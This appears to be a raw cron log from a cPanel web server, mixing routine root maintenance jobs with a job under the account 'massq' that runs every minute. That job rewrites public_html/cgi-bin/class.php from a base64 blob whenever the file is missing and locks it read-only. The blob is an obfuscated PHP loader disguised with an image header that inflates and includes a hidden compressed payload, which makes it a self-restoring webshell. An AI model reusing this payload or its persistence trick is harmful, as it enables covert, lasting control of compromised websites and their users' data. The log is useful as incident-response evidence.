Nov 12 20:06:01 server CROND[30153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:07:01 server CROND[31021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:08:01 server CROND[32155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:09:01 server CROND[563]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 20:09:01 server CROND[564]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:10:01 server CROND[1451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:10:01 server CROND[1452]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:10:01 server CROND[1453]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 20:10:01 server CROND[1454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:11:01 server CROND[2440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:12:01 server CROND[3256]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 20:12:01 server CROND[3257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:13:01 server CROND[4144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:14:01 server CROND[5107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:15:01 server CROND[5988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 20:15:01 server CROND[5990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:15:01 server CROND[5989]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 20:15:01 server CROND[5994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:16:01 server CROND[6912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:17:01 server CROND[7778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:18:01 server CROND[8712]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
